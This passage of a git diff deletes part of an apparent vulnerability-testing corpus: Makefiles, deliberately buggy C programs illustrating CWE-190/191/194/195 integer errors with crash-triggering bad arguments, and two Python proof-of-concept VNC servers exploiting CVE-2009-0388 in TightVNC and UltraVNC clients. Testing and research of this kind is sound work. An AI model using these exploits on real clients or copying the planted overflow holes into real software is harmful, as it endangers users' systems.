- cp modular_bug_finding_example_1.conf modular_bug_finding_example_1.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> modular_bug_finding_example_1.conf
-
-modular_bug_finding_example_1.run: modular_bug_finding_example_1
- ../../../scripts/test.pl $(TESTFLAGS) modular_bug_finding_example_1.ncexe
-
-modular_bug_finding_example_2.ncexe: modular_bug_finding_example_2.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >modular_bug_finding_example_2.conf
-
-modular_bug_finding_example_2: modular_bug_finding_example_2.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee modular_bug_finding_example_2.ps_analyze.log
- cp modular_bug_finding_example_2.conf modular_bug_finding_example_2.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> modular_bug_finding_example_2.conf
-
-modular_bug_finding_example_2.run: modular_bug_finding_example_2
- ../../../scripts/test.pl $(TESTFLAGS) modular_bug_finding_example_2.ncexe
-
-UVA_C1_and_C4.ncexe: UVA_C1_and_C4.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >UVA_C1_and_C4.conf
-
-UVA_C1_and_C4: UVA_C1_and_C4.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee UVA_C1_and_C4.ps_analyze.log
- cp UVA_C1_and_C4.conf UVA_C1_and_C4.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> UVA_C1_and_C4.conf
-
-UVA_C1_and_C4.run: UVA_C1_and_C4
- ../../../scripts/test.pl $(TESTFLAGS) UVA_C1_and_C4.ncexe
-
-clean:
- rm -f CWE_190_Example_1_bad.ncexe CWE_190_Example_2_bad.ncexe modular_bug_finding_example_1.ncexe modular_bug_finding_example_2.ncexe UVA_C1_and_C4.ncexe
- rm -f CWE_190_Example_1_bad CWE_190_Example_2_bad modular_bug_finding_example_1 modular_bug_finding_example_2 UVA_C1_and_C4
- rm -f summary.csv logfail.txt logfile.txt CWE_190_Example_1_bad.asm CWE_190_Example_1_bad.idb CWE_190_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_190_Example_2_bad.asm CWE_190_Example_2_bad.idb CWE_190_Example_2_bad.ncexe* stratafier.o.exe *.conf modular_bug_finding_example_1.asm modular_bug_finding_example_1.idb modular_bug_finding_example_1.ncexe* stratafier.o.exe *.conf modular_bug_finding_example_2.asm modular_bug_finding_example_2.idb modular_bug_finding_example_2.ncexe* stratafier.o.exe *.conf UVA_C1_and_C4.asm UVA_C1_and_C4.idb UVA_C1_and_C4.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: CWE_190_Example_1_bad.ncexe CWE_190_Example_2_bad.ncexe modular_bug_finding_example_1.ncexe modular_bug_finding_example_2.ncexe UVA_C1_and_C4.ncexe
-
-analyze: targets CWE_190_Example_1_bad CWE_190_Example_2_bad modular_bug_finding_example_1 modular_bug_finding_example_2 UVA_C1_and_C4
-
-runall: CWE_190_Example_1_bad.run CWE_190_Example_2_bad.run modular_bug_finding_example_1.run modular_bug_finding_example_2.run UVA_C1_and_C4.run
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c b/integerbug_examples/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c
deleted file mode 100644
index 36d45215826b2db6892f2286e2471a1eec330a58..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c
+++ /dev/null
@@ -1,46 +0,0 @@
-/*This code came from UVA it has both a integer wrap in the malloc
-The scanf may index out of bounds?
-It also has a resource drain due to the malloc?
-
-This routine is doing a malloc of a negative number, but
-this gets typecasted to an unsigned, which gives you
-a very large number. On some machines, this will still
-succeed if there is enough memory. - DAH
-
-@GOOD_ARGS 4 <Example_UVA_good.txt
-@BAD_ARGS -4 <Example_UVA_good.txt
- @ATTACK_SUCCEEDED_CODE 139
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS malloc = 4294967280
- */
-
-#include <stdlib.h>
-#include <stdio.h>
-#ifdef ASSERT
- #include <assert.h>
-#endif
-
-int main(int argc, char *argv[]) {
- int cnt, idx, *elems;
-
- cnt = atoi(argv[1]);
-printf(" malloc = %u\n",sizeof(int) * cnt);
- elems = malloc(sizeof(int) * cnt);
-
-#ifdef ASSERT
-assert( (sizeof(int) * cnt)>0 );
-#endif
-
- for(idx = 0; idx < cnt; ++idx) {
- scanf("%d\n", elems + idx);
-
-#ifdef ASSERT
-printf(" last address of mem alloced %x \n",&elems[cnt-1]);
-printf(" address just written to %x \n",(elems + idx));
-assert(idx < (cnt-1));
-#endif
-
- }
-
- return 0;
-}
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/bad.dat b/integerbug_examples/C1_Number_Handling/CWE_190/bad.dat
deleted file mode 100644
index 679eda838fadfd7020794f59987cfe487a8a93e5..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/bad.dat
+++ /dev/null
@@ -1 +0,0 @@
-0x40000000 0x40000000
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/data.txt b/integerbug_examples/C1_Number_Handling/CWE_190/data.txt
deleted file mode 100644
index 32910bfa7364a529647f024fb72791525c976f56..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/data.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-1010101010
-1010101010
-1010101010
-1010101010
-1010101010
-1010101010
-1010101010
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c b/integerbug_examples/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c
deleted file mode 100644
index a267478516fda3d3e92ecfc8658214089e5ffe52..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
-"in the case of function binary_search applied to low and high both equal to
-(0x40000000), the computation low + high will evaluate to INT_MIN instead of
-(INT_MAX+1)/2." I'd like a test that reads the contents of a file into an array
-and calls a faulty binary_search on the array.
-
-BJM
-This code has more problems then the integer wrap. Val is going to get
-set to some random data in memory depending on what values are passed in.
-
-@BAD_ARGS <bad.dat
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS -1073741824
-*/
-#include <stdio.h>
-#include <stdlib.h>
-
-int binary_search(int* arr, int low, int high, int key)
-{
- printf("low = %i high = %i mid = %i \n",low,high,( (low + high) / 2));
- while (low <= high)
- {
- // Find middle value
- int mid = (low + high) / 2;
- int val = arr[mid];
- printf("value %i \n",val);
- low++;
- // Refine range
- }
-}
-int main(void)
-{
- int n1 = 0;
- int n2 = 0;
-int x = 0x40000000;
- fscanf(stdin,"%x",&n1);
- fscanf(stdin,"%x",&n2);
-
-printf("%d %d %d\n", n1, n2, x);
-
- FILE *f ;
- if(f= fopen("data.txt", "rb")){
-
- fseek(f, 0, SEEK_END);
- long nbytes = ftell(f);
- fseek(f, 0, SEEK_SET);
-
- printf("File size = %ld malloc\n",nbytes);
- int *bytes = malloc(nbytes+1);
- fread(bytes, 1,nbytes, f);
- fclose(f);
-
- int i;
- printf("File buffer dump\n");
- for(i = 0;i < nbytes;++i)
- printf("%c", ((char *)bytes)[i]);
-
-// binary_search(bytes, 0x40000000, 0x40000000, 32);
- binary_search(bytes, n1, n2, 32);
-
- free(bytes); // free allocated memory
- }else{
- printf("file open failed \n");
- }
-}
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c b/integerbug_examples/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c
deleted file mode 100644
index 7ec5ab8e5c4403fdd63b0a52ff048247b12ff80c..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
-there's another classic error in many implementations of itoa:
-"applied to n equal to INT_MIN (0x80000000), the negation -n will evaluate to
-INT_MIN instead of INT_MAX+1." Again, please give us an example with the buggy
-itoa; in this case it can just call it on an integer passed on the command
-line. (This example may have a lower priority; I'm not clear what CWE class it
-belongs to, but "The case of itoa is compelling: the ?rst edition of The C
-Programming Language in 1978 [34] contained the integer ove?ow problem just
-mentioned; the problem was noted in the second edition in 1988 (and its
-solution left in exercise), but many currently available implementations, such
-as the one from project itoa on sourceforge.net, still suffer from the same
-problem.")
-
-@BAD_ARGS -2147483648
-@ATTACK_SUCCEEDED_OUTPUT_NOT_CONTAINS -2147483648
- bjm for this string uncoment the printf("n should be + = %i\n",n);
- ATTACK_SUCCEEDED_OUTPUT_CONTAINS n should be + = -2147483648
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-void my_reverse(char s[]) {
- int c, i, j;
- for ( i = 0, j = strlen(s)-1; i < j; i++, j--) {
- c = s[i];
- s[i] = s[j];
- s[j] = c;
- }
-}
-
-void my_itoa(int n, char* buf)
-{
-char *save =buf;
- // Handle negative
- if (n < 0)
- {
- *buf++ = '-';
- // printf("n = %i\n",n);
- n = -n;
- // printf("n should be + = %i\n",n);
- // Output digits
- do{
- *buf++ = (n % 10) + '0';
- }while (n /= 10);
- *buf = '\0';
- *save++;
- my_reverse(save);
- }else {
- // Output digits
- do{
- *buf++ = (n % 10) + '0';
- }while (n /= 10);
- *buf = '\0';
- my_reverse(save);
- }
-}
-int main(int argc, char **argv)
-{
- int n1 = atoi(argv[1]);
- char num[20];
- my_itoa(n1, num);
- printf("string = %s\n",num);
- exit(0);
-}
diff --git a/integerbug_examples/C1_Number_Handling/CWE_191/CWE_191_Example_1_bad.c b/integerbug_examples/C1_Number_Handling/CWE_191/CWE_191_Example_1_bad.c
deleted file mode 100644
index 9d3108a3a9bb8d8cad3cab637aa2bbbefb0feaf1..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_191/CWE_191_Example_1_bad.c
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
-Integer Underflow (Wrap or Wraparound)
-
-Description Summary
-The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.
-
-Extended Description
-This can happen in signed and unsigned cases.
-
-Example 1
-The following example has an integer underflow. The value of i is already at the lowest negative value possible. The new value of i is 2147483647.
-(Bad Code)Example Language: C
-
-@GOOD_ARGS 50
-@BAD_ARGS -2147483648
-@NORMAL_OUTPUT_CONTAINS N = 49
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS N = 214
-
-// bjm remove exit TTACK_SUCCEEDED_CODE 1
-
-*/
-
-#include <stdio.h>
-#include <stdbool.h>
-#include <stdlib.h>
-#include <limits.h>
-#ifdef ASSERT
- #include <assert.h>
-#endif
-
-main (int argc, char ** argv)
-{
- if (argc < 2) exit(2);
- int i = atoi(argv[1]);
-
- i = i - 1;
-#ifdef ASSERT
-assert(atoi(argv[1])>INT_MIN);
-#endif
- printf("N = %d\n", i);
- exit(0);
-}
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_191/CWE_191_Example_2_bad.c b/integerbug_examples/C1_Number_Handling/CWE_191/CWE_191_Example_2_bad.c
deleted file mode 100644
index 21c6be8f52b2249d83471f28a52e49291a3c75f0..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_191/CWE_191_Example_2_bad.c
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
-Integer Underflow (Wrap or Wraparound)
-
-Description Summary
-The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.
-
-Extended Description
-This can happen in signed and unsigned cases.
-
-Example 1
-The following example has an integer underflow. The value of i is already at the lowest negative value possible. The new value of i is 2147483647.
-(Bad Code)Example Language: C
-
-@GOOD_ARGS 50
-@BAD_ARGS 0
-@NORMAL_OUTPUT_CONTAINS N = 49
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS N = 429
-// bjm removed for grace TTACK_SUCCEEDED_CODE 1
-
-*/
-
-#include <stdio.h>
-#include <stdbool.h>
-#include <stdlib.h>
-#ifdef ASSERT
- #include <assert.h>
-#endif
-
-main (int argc, char **argv)
-{
- if (argc < 2) exit(2);
- unsigned int j = atoi(argv[1]);
- j = j - 1;
-
-#ifdef ASSERT
- assert(isdigit(argv[1][0]));
- assert(atoi(argv[1])>0);
-#endif
-
- printf("N = %u\n", j);
- exit(0);
-}
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx b/integerbug_examples/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx
deleted file mode 100644
index c9fc7d95934eb13f7d50b2a0995d982d7b0eda19..0000000000000000000000000000000000000000
Binary files a/integerbug_examples/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx and /dev/null differ
diff --git a/integerbug_examples/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz.REMOVED.git-id b/integerbug_examples/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz.REMOVED.git-id
deleted file mode 100644
index 173ae7be384ddc5aaa929db7cc7fdfbd9891db9a..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz.REMOVED.git-id
+++ /dev/null
@@ -1 +0,0 @@
-2f7250ff9c92fe4a218a59cd1ef0149264472811
\ No newline at end of file
diff --git a/integerbug_examples/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c b/integerbug_examples/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c
deleted file mode 100644
index f1e5ce96a44c02f9af176a59340340a14867afab..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
-Unexpected Sign Extension
-
-Description Summary
-The software performs an operation on a number that causes it to be sign extended
-when it is transformed into a larger data type. When the original number is
-negative, this can produce unexpected values that lead to resultant weaknesses.
-
-
-Common Consequences
-Scope
-Integrity
-Confidentiality
-Availability
-
-Effect
-When an unexpected sign extension occurs in code that operates directly on memory
-buffers, such as a size value or a memory index, then it could cause the program
-to write or read outside the boundaries of the intended buffer. If the numeric
-value is associated with an application-level resource, such as a quantity or
-price for a product in an e-commerce site, then the sign extension could produce
-a value that is much higher (or lower) than the application's allowable range.
-
-
-Example 1
-
-The following code reads a maximum size and performs a sanity check on that size.
-It then performs a strncpy, assuming it will not exceed the boundaries of the
-array. While the use of "short s" is forced in this particular example, short
-int's are frequently used within real-world code, such as code that processes
-structured data.
-(Bad Code)Example Language: C
-
- - Crashes on strncpy(?,?,-1)
-@BAD_ARGS xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-@ATTACK_SUCCEEDED_CODE 139
-
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#ifdef ASSERT
- #include <assert.h>
-#endif
-
-
-int GetUntrustedInt () {
- return(0x0000FFFF);
-}
-
-
-void main (int argc, char **argv) {
- char path[256];
- char *input;
- int i;
- short s;
- unsigned int sz;
-
-
- i = GetUntrustedInt();
- s = i;
- /* s is -1 so it passes the safety check - CWE-697 */
-// BJM no assert we don't want to catch this or we
-// will never get to the CVE we are looking at
- if (s > 256) {
- exit(3);
- }
-
- /* s is sign-extended and saved in sz */
- sz = s;
-//BJM CWE 194 sign-extended
-
- /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
- printf("i=%d, s=%d, sz=%u\n", i, s, sz);
-
- // input = GetUserInput("Enter pathname:");
- input = argv[1];
-
- /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
- (CWE-195), enabling buffer overflow (CWE-119) */
-#ifdef ASSERT
-//printf("s = %i sizeof input = %i\n",s,sizeof(input));
-assert(s>0);
-assert(s <= sizeof(path));
-#endif
- strncpy(path, input, s);
- path[255] = '\0'; /* don't want CWE-170 */
- printf("Path is: %s\n", path);
- exit(0);
-}
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_194/Makefile b/integerbug_examples/C1_Number_Handling/CWE_194/Makefile
deleted file mode 100644
index 9a308ee93216661871ac9c708dbf49d5a96549e7..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_194/Makefile
+++ /dev/null
@@ -1,33 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-include ../../Makefile.options
-include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../scripts/test.pl $(TESTFLAGS) .
-
-CWE_194_Example_1_bad.ncexe: CWE_194_Example_1_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_194_Example_1_bad.conf
-
-CWE_194_Example_1_bad: CWE_194_Example_1_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_194_Example_1_bad.ps_analyze.log
- cp CWE_194_Example_1_bad.conf CWE_194_Example_1_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_194_Example_1_bad.conf
-
-CWE_194_Example_1_bad.run: CWE_194_Example_1_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_194_Example_1_bad.ncexe
-
-clean:
- rm -f CWE_194_Example_1_bad.ncexe
- rm -f CWE_194_Example_1_bad
- rm -f summary.csv logfail.txt logfile.txt CWE_194_Example_1_bad.asm CWE_194_Example_1_bad.idb CWE_194_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: CWE_194_Example_1_bad.ncexe
-
-analyze: targets CWE_194_Example_1_bad
-
-runall: CWE_194_Example_1_bad.run
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py b/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py
deleted file mode 100644
index 77d2e0ba5115a3378d166f22169b0be0aea626a1..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py
+++ /dev/null
@@ -1,54 +0,0 @@
-#!/usr/bin/env python
-
-#digital.desi@in.com
-
-# Modified Andres Lopez Luksenberg's exploit for Authentication Failure scenario in TightVNC. BID 33569 CVE-2009-0388
-
-import socket
-
-serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-serversocket.bind(('', 5900))
-serversocket.listen(1)
-
-while True:
- clientsocket, clientaddres = serversocket.accept()
-
- data = 'RFB 003.008\n'
- clientsocket.sendall(data)
-
- data_cli = clientsocket.recv(1024)
- print data_cli
-
- data = '\x02\x02\x10'
- clientsocket.sendall(data)
-
- data_cli = clientsocket.recv(1024)
-
- data = '\x00'*4
- clientsocket.sendall(data)
-
- data = ('\x00'*3)+'\x01'
- clientsocket.sendall(data)
-
- data = ('\x00'*3)+'\x02STDVVNCAUTH_'
- clientsocket.sendall(data)
-
- data_cli = clientsocket.recv(1024)
-
- data = ('\x01'*16)
- clientsocket.sendall(data)
-
- data_cli = clientsocket.recv(1024)
-
- data = '\x00\x00\x00\x01'
- clientsocket.sendall(data)
-
- data = '\xf0\xff\xff\xff'
- clientsocket.sendall(data)
-
- data = 'A'*10000
- clientsocket.sendall(data)
-
-clientsocket.close()
-serversocket.close()
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py b/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py
deleted file mode 100644
index 5b2d70a33cf9bbf46ef1aa1f47440ed026b0d273..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py
+++ /dev/null
@@ -1,32 +0,0 @@
-#!/usr/bin/env python
-# POC: Multiple VNC Clients Multiple Integer Overflow Vulnerabilities(UltraVNC and TightVNC), BID 33568
-#Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/)
-#
-import socket
-
-serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-serversocket.bind(('', 5900))
-serversocket.listen(1)
-
-while True:
- print "Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/)"
-
- clientsocket, clientaddres = serversocket.accept()
-
- data = 'RFB 003.003\n'
- clientsocket.sendall(data)
-
- data_cli = clientsocket.recv(1024)
- print data_cli
-
- data = '\x00'
- clientsocket.sendall(data)
-
- data = '\x00\x00\x00\x75'
- clientsocket.sendall(data)
- data = '\x00' * int(0xffffff)
-
- clientsocket.sendall(data)
-
-clientsocket.close()
-serversocket.close()
\ No newline at end of file
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx b/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx
deleted file mode 100644
index a16861d2c3d22e5b92c1341f49c8a18b7c1bf679..0000000000000000000000000000000000000000
Binary files a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx and /dev/null differ
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip.REMOVED.git-id b/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip.REMOVED.git-id
deleted file mode 100644
index f8222876021561f017ea1232cdb004a31435325f..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip.REMOVED.git-id
+++ /dev/null
@@ -1 +0,0 @@
-2d642d258c45300adb1f9b26f44d926b6b1574ea
\ No newline at end of file
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip.REMOVED.git-id b/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip.REMOVED.git-id
deleted file mode 100644
index 37510e51d98ef461ae1f78a6c57caea976969ac8..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip.REMOVED.git-id
+++ /dev/null
@@ -1 +0,0 @@
-c24dc209f05c71667a8e90801ef89abacc263fa9
\ No newline at end of file
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz.REMOVED.git-id b/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz.REMOVED.git-id
deleted file mode 100644
index b37c583633b97c4f473781f9c010e0d31e0a8470..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz.REMOVED.git-id
+++ /dev/null
@@ -1 +0,0 @@
-be5de46e050a3c9d6f8c5decea05d6025b40263d
\ No newline at end of file
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c b/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c
deleted file mode 100644
index 65b7fe16b1c72113200b6f8da1ddbe4afb215a43..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
-Signed to Unsigned Conversion Error
-
-Description Summary
-A signed-to-unsigned conversion error takes place when a signed primitive is used
-as an unsigned value, usually as a size variable.
-
-Extended Description
-It is dangerous to rely on implicit casts between signed and unsigned numbers because
-the result can take on an unexpected value and violate assumptions made by the program.
-
-Scope Effect
-Availability Conversion between signed and unsigned values can lead to a variety of
-errors, but from a security standpoint is most commonly associated with integer
-overflow and buffer overflow vulnerabilities.
-
-
-Example 1
-In this example the variable amount can hold a negative value when it is returned.
-Because the function is declared to return an unsigned int, amount will be implicitly
-converted to unsigned.
-(Bad Code)Example Language: C
-
-@BAD_ARGS -1
-@GOOD_ARGS 1
-@ATTACK_SUCCEEDED_CODE 1
-
-*/
-#include <stdlib.h>
-
-unsigned int readdata (int n) {
-int amount = n;
-return amount;
-}
-
-
-int main(int argc, char **argv)
-{
- if (argc < 2) exit(2);
- int n = atoi(argv[1]);
- if (readdata(n) > 0 && n < 0) exit(1);
- exit(0);
-}
-
-/*
-If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.
-*/
-
-
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c b/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c
deleted file mode 100644
index 64bc117cb01999462c4aee83bcc522ad94d5ce51..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
-Signed to Unsigned Conversion Error
-
-Description Summary
-A signed-to-unsigned conversion error takes place when a signed primitive is used
-as an unsigned value, usually as a size variable.
-
-Extended Description
-It is dangerous to rely on implicit casts between signed and unsigned numbers because
-the result can take on an unexpected value and violate assumptions made by the program.
-
-Scope Effect
-Availability Conversion between signed and unsigned values can lead to a variety of
-errors, but from a security standpoint is most commonly associated with integer
-overflow and buffer overflow vulnerabilities.
-
-Example 2
-In this example, depending on the return value of accecssmainframe(), the variable
-amount can hold a negative value when it is returned. Because the function is declared
-to return an unsigned value, amount will be implicitly cast to an unsigned number.
-(Bad Code)Example Language: C
-
-@BAD_ARGS
-@ATTACK_SUCCEEDED_CODE 1
-*/
-
-#include <stdlib.h>
-
-int accessmainframe()
-{
- return -1;
-}
-
-unsigned int readdata () {
-int amount = 0;
-amount = accessmainframe();
-return amount;
-}
-
-
-int main(int argc, char **argv)
-{
- unsigned int n = readdata();
- if (n > 1000) exit(1);
- exit(0);
-}
-
-/*
-If the return value of accessmainframe() is -1, then the return value of readdata()
-will be 4,294,967,295 on a system that uses 32-bit integers.
-*/
-
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c b/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c
deleted file mode 100644
index 798ea5baec54bbd58099560eac8c57fcdc2557fc..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
-Signed to Unsigned Conversion Error
-
-Description Summary
-A signed-to-unsigned conversion error takes place when a signed primitive is used
-as an unsigned value, usually as a size variable.
-
-Extended Description
-It is dangerous to rely on implicit casts between signed and unsigned numbers because
-the result can take on an unexpected value and violate assumptions made by the program.
-
-Scope Effect
-Availability Conversion between signed and unsigned values can lead to a variety of
-errors, but from a security standpoint is most commonly associated with integer
-overflow and buffer overflow vulnerabilities.
-
-Example 3
-The following code is intended to read an incoming packet from a socket and extract
-one or more headers.
-(Bad Code)Example Language: C
-
-@BAD_ARGS -1
-@GOOD_ARGS 100
-@ATTACK_SUCCEEDED_CODE 139
-
-*/
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
-#include <memory.h>
-
-
-/* Stupid stubs to pretend to do network trafic */
-struct DataPacket {
- int headers;
-};
-typedef char PacketHeader;
-int AcceptSocketConnection() {}
-void ReadPacket(struct DataPacket* packet, int sock) { packet->headers = -3;}
-void ParsePacketHeaders(struct DataPacket* packet, PacketHeader* header) {
- char *msg = "this is a long string that should crash the program";
- printf("%s\n", msg);
- strcpy(header, msg);
- printf("%s\n", header);
-}
-
-
-int main(int argc, char **argv)
-{
- struct DataPacket *packet;
- int numHeaders;
- PacketHeader *headers;
-
- if (argc < 2) exit(2);
-
